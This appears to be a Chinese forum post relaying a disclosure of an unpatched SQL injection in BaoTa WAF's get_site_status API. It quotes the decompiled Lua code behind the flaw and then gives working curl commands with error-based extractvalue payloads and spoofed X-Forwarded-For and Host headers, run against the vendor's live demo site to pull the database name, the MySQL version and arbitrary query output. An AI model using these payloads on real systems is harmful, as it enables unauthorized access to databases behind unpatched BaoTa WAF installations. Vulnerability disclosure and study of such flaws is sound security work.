宝塔waf作为一个防sql注入工具,居然本身也有SQL注入漏洞?
并且在9小时前被发布到V2EX,
帖子直达:https://www.v2ex.com/t/1015934
请看这段代码 - get_site_status = function ()
- if not ngx.ctx.get_uri_args.server_name then
- return Public.get_return_state(false, "参数错误")
- end
- ... 此处省略若干代码
- slot7, slot8, slot9, slot10 = slot4.query(slot4, [[
- SELECT
- SUM(request) as req,
- SUM(err_40x) as err_40x,
- SUM(err_500) as err_500,
- SUM(err_502) as err_502,
- SUM(err_503) as err_503,
- SUM(err_504) as err_504,
- SUM(err_499) as err_499,
- SUM(send_bytes) as send_bytes,
- SUM(receive_bytes) as recv_bytes,
- SUM(pc_count) as pc_count,
- SUM(mobile_count) as mobile_count,
- SUM(spider_baidu) as spider_baidu,
- SUM(spider_google) as spider_google,
- SUM(spider_bing) as spider_bing,
- SUM(spider_360) as spider_360,
- SUM(spider_sogou) as spider_sogou,
- SUM(spider_other) as spider_other,
- SUM(ip_count) as ip_count,
- SUM(pv_count) as pv_count,
- SUM(uv_count) as uv_count
- FROM `request_total` WHERE `server_name`=']] .. slot1 .. "' AND `date`='" .. os.date("%Y-%m-%d") .. "'")
- ... 此处省略若干代码
- return Public.get_return_state(true, slot6)
- end
复制代码这段代码位于 /cloud_waf/nginx/conf.d/waf/public/waf_route.lua 文件中,源文件是 luajit 编译后的内容,反编译一下即可看到源码 这段逻辑就在上文提到的 get_site_status API 中,slot1 变量就是 server_name 参数。原理很简单,server_name 参数没有做任何校验就直接带入了 SQL 查询。 宝塔官网还没有修复这个问题,还是拿宝塔官网为例,试试以下命令: - curl "http://btwaf-demo.bt.cn/get_site_status?server_name='-extractvalue(1,concat(0x5c,database()))-'" -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'
复制代码响应如下 - {"status":false,"msg":"数据查询失败: XPATH syntax error: '\\btwaf': 1105: HY000."}
复制代码从响应来看已经注入成功,通过]
继续执行以下命令: - curl "http://btwaf-demo.bt.cn/get_site_status?server_name='-extractvalue(1,concat(0x5c,version()))-'" -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'
复制代码 响应如下
- {"status":false,"msg":"数据查询失败: XPATH syntax error: '\\8.1.0': 1105: HY000."}
复制代码 从响应来看,mysql 版本是 8.1.0
在继续执行以下命令
- curl "http://btwaf-demo.bt.cn/get_site_status?server_name='-extractvalue(1,concat(0x5c,(select'hello,world')))-'" -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'
复制代码 响应如下
- {"status":false,"msg":"数据查询失败: XPATH syntax error: '\\hello,world': 1105: HY000."}
复制代码 看起来 select 'hello,world' 也执行成功了,到此为止,基本可以执行任意命令。
|